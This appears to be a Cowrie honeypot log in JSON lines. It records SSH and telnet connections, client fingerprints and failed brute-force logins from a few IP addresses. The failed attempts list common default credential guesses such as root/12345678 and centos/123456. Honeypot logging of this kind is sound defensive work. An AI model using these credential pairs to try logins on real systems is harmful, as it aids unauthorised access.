{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:33.221768Z","src_ip":"193.106.245.20","session":"516e726926f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password123","message":"login attempt [ftpuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:33.717160Z","src_ip":"193.106.245.20","session":"516e726926f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:33.793528Z","src_ip":"176.65.132.129","session":"d5f05235cfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:34.834778Z","src_ip":"193.106.245.20","session":"516e726926f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44106,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe7af644978","protocol":"ssh","message":"New connection: 176.65.132.129:44106 (159.203.135.109:22) [session: fbe7af644978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:35.730112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:35.734107Z","src_ip":"176.65.132.129","session":"fbe7af644978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:35.817837Z","src_ip":"176.65.132.129","session":"fbe7af644978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:36.070961Z","src_ip":"176.65.132.129","session":"fbe7af644978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:37.157585Z","src_ip":"176.65.132.129","session":"fbe7af644978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44108,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b06de404ace","protocol":"ssh","message":"New connection: 176.65.132.129:44108 (159.203.135.109:22) [session: 4b06de404ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:39.129786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:39.134218Z","src_ip":"176.65.132.129","session":"4b06de404ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:39.215536Z","src_ip":"176.65.132.129","session":"4b06de404ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:39.580470Z","src_ip":"176.65.132.129","session":"4b06de404ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:40.763945Z","src_ip":"176.65.132.129","session":"4b06de404ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44110,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8dd4ec5489f","protocol":"ssh","message":"New connection: 176.65.132.129:44110 (159.203.135.109:22) [session: e8dd4ec5489f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:42.491921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:42.496627Z","src_ip":"176.65.132.129","session":"e8dd4ec5489f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:42.581754Z","src_ip":"176.65.132.129","session":"e8dd4ec5489f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:42.836873Z","src_ip":"176.65.132.129","session":"e8dd4ec5489f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:43.921611Z","src_ip":"176.65.132.129","session":"e8dd4ec5489f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.522874116897583,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:44.200430Z","src_ip":"76.176.195.213","session":"0024711cba88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39808,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce6cbc83e255","protocol":"ssh","message":"New connection: 176.65.132.129:39808 (159.203.135.109:22) [session: ce6cbc83e255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:45.825879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:45.934428Z","src_ip":"176.65.132.129","session":"ce6cbc83e255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:45.938137Z","src_ip":"176.65.132.129","session":"ce6cbc83e255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:46.270338Z","src_ip":"176.65.132.129","session":"ce6cbc83e255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.13557481765747,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:46.275072Z","src_ip":"45.58.127.90","session":"8f91389e3b73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26959300041199,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:46.666705Z","src_ip":"45.58.127.90","session":"8a43ed73cc48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:47.363688Z","src_ip":"176.65.132.129","session":"ce6cbc83e255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4100cb64e25","protocol":"ssh","message":"New connection: 176.65.132.129:39812 (159.203.135.109:22) [session: f4100cb64e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:49.292491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:49.296467Z","src_ip":"176.65.132.129","session":"f4100cb64e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:49.377876Z","src_ip":"176.65.132.129","session":"f4100cb64e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:49.628761Z","src_ip":"176.65.132.129","session":"f4100cb64e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:50.712805Z","src_ip":"176.65.132.129","session":"f4100cb64e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39826,"dst_ip":"159.203.135.109","dst_port":22,"session":"3467ac39bc6e","protocol":"ssh","message":"New connection: 176.65.132.129:39826 (159.203.135.109:22) [session: 3467ac39bc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:52.631726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:52.635725Z","src_ip":"176.65.132.129","session":"3467ac39bc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:52.718285Z","src_ip":"176.65.132.129","session":"3467ac39bc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:52.974813Z","src_ip":"176.65.132.129","session":"3467ac39bc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:54.059703Z","src_ip":"176.65.132.129","session":"3467ac39bc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56218,"dst_ip":"159.203.135.109","dst_port":22,"session":"c396c2a02b4c","protocol":"ssh","message":"New connection: 176.65.132.129:56218 (159.203.135.109:22) [session: c396c2a02b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:55.988272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:55.993369Z","src_ip":"176.65.132.129","session":"c396c2a02b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:56.076041Z","src_ip":"176.65.132.129","session":"c396c2a02b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:56.572980Z","src_ip":"176.65.132.129","session":"c396c2a02b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:57.656988Z","src_ip":"176.65.132.129","session":"c396c2a02b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56224,"dst_ip":"159.203.135.109","dst_port":22,"session":"31070a2efec0","protocol":"ssh","message":"New connection: 176.65.132.129:56224 (159.203.135.109:22) [session: 31070a2efec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:59.627687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:59.631932Z","src_ip":"176.65.132.129","session":"31070a2efec0","protocol":"ssh"}
